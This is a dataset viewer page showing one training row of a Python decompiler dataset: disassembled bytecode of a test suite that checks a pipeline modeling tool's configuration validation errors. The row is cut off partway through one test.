Datasets:
GusPuffy
/
python-decompiler-37-0.7-train

Dataset card Data Studio Files Community
1
input
stringlengths
28
198k
output
stringlengths
3
71k
file
stringlengths
19
330
input_tokens
int64
5
159k
output_tokens
int64
3
9.07k
__index_level_0__
int64
2
449k
LOAD_CONST 0 LOAD_CONST None IMPORT_NAME os STORE_NAME os LOAD_CONST 0 LOAD_CONST None IMPORT_NAME subprocess STORE_NAME subprocess LOAD_NAME os LOAD_METHOD getenv LOAD_CONST 'PIPELINE_MODELING_TOOL' CALL_METHOD STORE_NAME pipeline_modeling_tool LOAD_CONST <code object get_output at 0x7f8e2fe14150, file "f.py", line 7> LOAD_CONST 'get_output' MAKE_FUNCTION STORE_NAME get_output LOAD_CONST <code object test_error_no_config_specified at 0x7f8e2fe140c0, file "f.py", line 19> LOAD_CONST 'test_error_no_config_specified' MAKE_FUNCTION STORE_NAME test_error_no_config_specified LOAD_CONST <code object test_error_no_config_exists at 0x7f8e2fe14c90, file "f.py", line 24> LOAD_CONST 'test_error_no_config_exists' MAKE_FUNCTION STORE_NAME test_error_no_config_exists LOAD_CONST <code object test_error_work_time_not_positive at 0x7f8e2fe14f60, file "f.py", line 32> LOAD_CONST 'test_error_work_time_not_positive' MAKE_FUNCTION STORE_NAME test_error_work_time_not_positive LOAD_CONST <code object test_error_no_pipelines at 0x7f8e2fe14300, file "f.py", line 41> LOAD_CONST 'test_error_no_pipelines' MAKE_FUNCTION STORE_NAME test_error_no_pipelines LOAD_CONST <code object test_error_pipelines_node_not_map at 0x7f8e2fe58150, file "f.py", line 50> LOAD_CONST 'test_error_pipelines_node_not_map' MAKE_FUNCTION STORE_NAME test_error_pipelines_node_not_map LOAD_CONST <code object test_error_config_not_contain_pl at 0x7f8e2fe58ae0, file "f.py", line 60> LOAD_CONST 'test_error_config_not_contain_pl' MAKE_FUNCTION STORE_NAME test_error_config_not_contain_pl LOAD_CONST <code object test_error_no_source at 0x7f8e2fe58e40, file "f.py", line 71> LOAD_CONST 'test_error_no_source' MAKE_FUNCTION STORE_NAME test_error_no_source LOAD_CONST <code object test_error_source_no_name at 0x7f8e2fe581e0, file "f.py", line 83> LOAD_CONST 'test_error_source_no_name' MAKE_FUNCTION STORE_NAME test_error_source_no_name LOAD_CONST <code object test_error_source_no_latency at 0x7f8e2fe58390, file "f.py", line 95> LOAD_CONST 'test_error_source_no_latency' MAKE_FUNCTION STORE_NAME test_error_source_no_latency LOAD_CONST <code object test_error_source_no_output at 0x7f8e2fe584b0, file "f.py", line 108> LOAD_CONST 'test_error_source_no_output' MAKE_FUNCTION STORE_NAME test_error_source_no_output LOAD_CONST <code object test_error_source_output_no_dims at 0x7f8e2fe58b70, file "f.py", line 122> LOAD_CONST 'test_error_source_output_no_dims' MAKE_FUNCTION STORE_NAME test_error_source_output_no_dims LOAD_CONST <code object test_error_source_output_no_precision at 0x7f8e2fe589c0, file "f.py", line 137> LOAD_CONST 'test_error_source_output_no_precision' MAKE_FUNCTION STORE_NAME test_error_source_output_no_precision LOAD_CONST <code object test_error_no_nodes at 0x7f8e2fb430c0, file "f.py", line 153> LOAD_CONST 'test_error_no_nodes' MAKE_FUNCTION STORE_NAME test_error_no_nodes LOAD_CONST <code object test_error_nodes_not_sequence at 0x7f8e2fb439c0, file "f.py", line 170> LOAD_CONST 'test_error_nodes_not_sequence' MAKE_FUNCTION STORE_NAME test_error_nodes_not_sequence LOAD_CONST <code object test_error_node_no_name at 0x7f8e2fb43420, file "f.py", line 188> LOAD_CONST 'test_error_node_no_name' MAKE_FUNCTION STORE_NAME test_error_node_no_name LOAD_CONST <code object test_error_node_no_type at 0x7f8e2fb43ae0, file "f.py", line 207> LOAD_CONST 'test_error_node_no_type' MAKE_FUNCTION STORE_NAME test_error_node_no_type LOAD_CONST <code object test_error_node_unknown_type at 0x7f8e2fb43030, file "f.py", line 226> LOAD_CONST 'test_error_node_unknown_type' MAKE_FUNCTION STORE_NAME test_error_node_unknown_type LOAD_CONST <code object test_error_node_dummy_no_time at 0x7f8e2fb43b70, file "f.py", line 246> LOAD_CONST 'test_error_node_dummy_no_time' MAKE_FUNCTION STORE_NAME test_error_node_dummy_no_time LOAD_CONST <code object test_error_node_dummy_not_positive_time at 0x7f8e2fb43780, file "f.py", line 266> LOAD_CONST 'test_error_node_dummy_not_positive_time' MAKE_FUNCTION STORE_NAME test_error_node_dummy_not_positive_time LOAD_CONST <code object test_error_node_dummy_no_output at 0x7f8e2fb43d20, file "f.py", line 287> LOAD_CONST 'test_error_node_dummy_no_output' MAKE_FUNCTION STORE_NAME test_error_node_dummy_no_output LOAD_CONST <code object test_error_node_infer_no_model_path at 0x7f8e2fb43db0, file "f.py", line 308> LOAD_CONST 'test_error_node_infer_no_model_path' MAKE_FUNCTION STORE_NAME test_error_node_infer_no_model_path LOAD_CONST <code object test_error_node_infer_no_input_layers at 0x7f8e2fb43c00, file "f.py", line 335> LOAD_CONST 'test_error_node_infer_no_input_layers' MAKE_FUNCTION STORE_NAME test_error_node_infer_no_input_layers LOAD_CONST <code object test_error_node_infer_input_layers_are_empty at 0x7f8e2fb43ed0, file "f.py", line 358> LOAD_CONST 'test_error_node_infer_input_layers_are_empty' MAKE_FUNCTION STORE_NAME test_error_node_infer_input_layers_are_empty LOAD_CONST <code object test_error_node_infer_no_output_layers at 0x7f8e2fb43540, file "f.py", line 383> LOAD_CONST 'test_error_node_infer_no_output_layers' MAKE_FUNCTION STORE_NAME test_error_node_infer_no_output_layers LOAD_CONST <code object test_error_node_infer_output_layers_are_empty at 0x7f8e2fb43390, file "f.py", line 408> LOAD_CONST 'test_error_node_infer_output_layers_are_empty' MAKE_FUNCTION STORE_NAME test_error_node_infer_output_layers_are_empty LOAD_CONST <code object test_error_no_edges at 0x7f8e2fb43810, file "f.py", line 434> LOAD_CONST 'test_error_no_edges' MAKE_FUNCTION STORE_NAME test_error_no_edges LOAD_CONST <code object test_error_edges_not_sequence at 0x7f8e2fb43a50, file "f.py", line 459> LOAD_CONST 'test_error_edges_not_sequence' MAKE_FUNCTION STORE_NAME test_error_edges_not_sequence LOAD_CONST <code object test_error_edges_no_from at 0x7f8e2fb43270, file "f.py", line 485> LOAD_CONST 'test_error_edges_no_from' MAKE_FUNCTION STORE_NAME test_error_edges_no_from LOAD_CONST <code object test_error_edges_no_to at 0x7f8e2fb43300, file "f.py", line 512> LOAD_CONST 'test_error_edges_no_to' MAKE_FUNCTION STORE_NAME test_error_edges_no_to LOAD_CONST <code object test_error_edges_from_not_exists at 0x7f8e2fb436f0, file "f.py", line 539> LOAD_CONST 'test_error_edges_from_not_exists' MAKE_FUNCTION STORE_NAME test_error_edges_from_not_exists LOAD_CONST <code object test_error_edges_from_port_not_exists at 0x7f8e2fb43f60, file "f.py", line 567> LOAD_CONST 'test_error_edges_from_port_not_exists' MAKE_FUNCTION STORE_NAME test_error_edges_from_port_not_exists LOAD_CONST <code object test_error_edges_to_not_exists at 0x7f8e2fb434b0, file "f.py", line 595> LOAD_CONST 'test_error_edges_to_not_exists' MAKE_FUNCTION STORE_NAME test_error_edges_to_not_exists LOAD_CONST <code object test_error_edges_to_port_not_exists at 0x7f8e2fb43c90, file "f.py", line 623> LOAD_CONST 'test_error_edges_to_port_not_exists' MAKE_FUNCTION STORE_NAME test_error_edges_to_port_not_exists LOAD_CONST <code object test_error_connect_to_source at 0x7f8e2fb431e0, file "f.py", line 651> LOAD_CONST 'test_error_connect_to_source' MAKE_FUNCTION STORE_NAME test_error_connect_to_source LOAD_CONST <code object test_error_double_edge at 0x7f8e2fb43660, file "f.py", line 679> LOAD_CONST 'test_error_double_edge' MAKE_FUNCTION STORE_NAME test_error_double_edge LOAD_CONST <code object test_error_double_edge at 0x7f8e2ff5ef60, file "f.py", line 709> LOAD_CONST 'test_error_double_edge' MAKE_FUNCTION STORE_NAME test_error_double_edge LOAD_CONST <code object test_node_has_dangling_input at 0x7f8e2ff5e780, file "f.py", line 739> LOAD_CONST 'test_node_has_dangling_input' MAKE_FUNCTION STORE_NAME test_node_has_dangling_input LOAD_CONST <code object test_error_has_cycle_0 at 0x7f8e2ff5e8a0, file "f.py", line 776> LOAD_CONST 'test_error_has_cycle_0' MAKE_FUNCTION STORE_NAME test_error_has_cycle_0 LOAD_CONST <code object test_error_has_cycle_0 at 0x7f8e2ff5eed0, file "f.py", line 808> LOAD_CONST 'test_error_has_cycle_0' MAKE_FUNCTION STORE_NAME test_error_has_cycle_0 LOAD_CONST <code object test_error_no_load_config_exists at 0x7f8e2ff5eb70, file "f.py", line 849> LOAD_CONST 'test_error_no_load_config_exists' MAKE_FUNCTION STORE_NAME test_error_no_load_config_exists LOAD_CONST <code object test_error_invalid_app_mode at 0x7f8e2ff5e540, file "f.py", line 878> LOAD_CONST 'test_error_invalid_app_mode' MAKE_FUNCTION STORE_NAME test_error_invalid_app_mode LOAD_CONST <code object test_error_invalid_pl_mode at 0x7f8e2ff5e0c0, file "f.py", line 907> LOAD_CONST 'test_error_invalid_pl_mode' MAKE_FUNCTION STORE_NAME test_error_invalid_pl_mode LOAD_CONST <code object test_error_drop_frames_with_streaming at 0x7f8e2ff5edb0, file "f.py", line 936> LOAD_CONST 'test_error_drop_frames_with_streaming' MAKE_FUNCTION STORE_NAME test_error_drop_frames_with_streaming LOAD_CONST <code object test_incorrect_call_every_nth at 0x7f8e2ff5e660, file "f.py", line 967> LOAD_CONST 'test_incorrect_call_every_nth' MAKE_FUNCTION STORE_NAME test_incorrect_call_every_nth LOAD_CONST <code object test_error_no_worktime_and_num_iters at 0x7f8e2ff5e9c0, file "f.py", line 997> LOAD_CONST 'test_error_no_worktime_and_num_iters' MAKE_FUNCTION STORE_NAME test_error_no_worktime_and_num_iters LOAD_CONST None RETURN_VALUE SETUP_EXCEPT to 32 LOAD_GLOBAL subprocess LOAD_ATTR check_output LOAD_FAST exec_str LOAD_GLOBAL subprocess LOAD_ATTR STDOUT LOAD_CONST True LOAD_CONST ('stderr', 'shell') CALL_FUNCTION LOAD_METHOD strip CALL_METHOD LOAD_METHOD decode CALL_METHOD STORE_FAST out POP_BLOCK JUMP_FORWARD to 82 DUP_TOP LOAD_GLOBAL subprocess LOAD_ATTR CalledProcessError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP STORE_FAST exc POP_TOP SETUP_FINALLY to 68 LOAD_FAST exc LOAD_ATTR output LOAD_METHOD strip CALL_METHOD LOAD_METHOD decode CALL_METHOD STORE_FAST out POP_BLOCK LOAD_CONST None LOAD_CONST None STORE_FAST exc DELETE_FAST exc END_FINALLY POP_EXCEPT JUMP_FORWARD to 82 END_FINALLY LOAD_FAST out RETURN_VALUE LOAD_GLOBAL get_output LOAD_GLOBAL pipeline_modeling_tool CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Config must be specified via --cfg option' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST 'not_existing_cfg.yml' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_CONST 'Failed to open config file: not_existing_cfg.yml' LOAD_FAST out COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: -1" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'work_time must be positive' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Config must contain field: Pipelines' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Pipelines field must be a map' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={} --exec_list=PL2' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Pipelines must contain field: PL2' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n queue_capacity: 1" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'PL1 must contain field: source' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'source must contain field: name' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'source must contain field: latency' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'source must contain field: output' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'output must contain field: dims' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'output must contain field: precision' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'PL1 must contain field: nodes' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'nodes in PL1 must be a sequence' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n -" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'node must contain field: name' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'node must contain field: type' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Unknown\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Unsupported node type: Unknown' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Node0 must contain field: time' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: -0.2" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Node0 time must be positive' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Node0 must contain field: output' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Infer\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_CONST 'Path to OpenVINO model must be specified in either of two formats:\n1.\n xml: path to *.xml\n bin: path to *.bin\n2.\n blob: path to *.blob' STORE_FAST error_msg LOAD_FAST out LOAD_METHOD startswith LOAD_FAST error_msg CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Infer\'\n blob: model.blob\n device: \'CPU\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Node0 must contain field: input_layers' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Infer\'\n blob: model.blob\n device: \'CPU\'\n input_layers:\n " ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'input_layers in Node0 must be a sequence' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Infer\'\n blob: model.blob\n device: \'CPU\'\n input_layers:\n - \'layer_name\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Node0 must contain field: output_layers' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Infer\'\n blob: model.blob\n device: \'CPU\'\n input_layers:\n - \'layer_name\'\n output_layers:" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'output_layers in Node0 must be a sequence' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'PL1 must contain field: edges' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'edges in PL1 must be a sequence' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:\n -" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'edge must contain field: from' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None 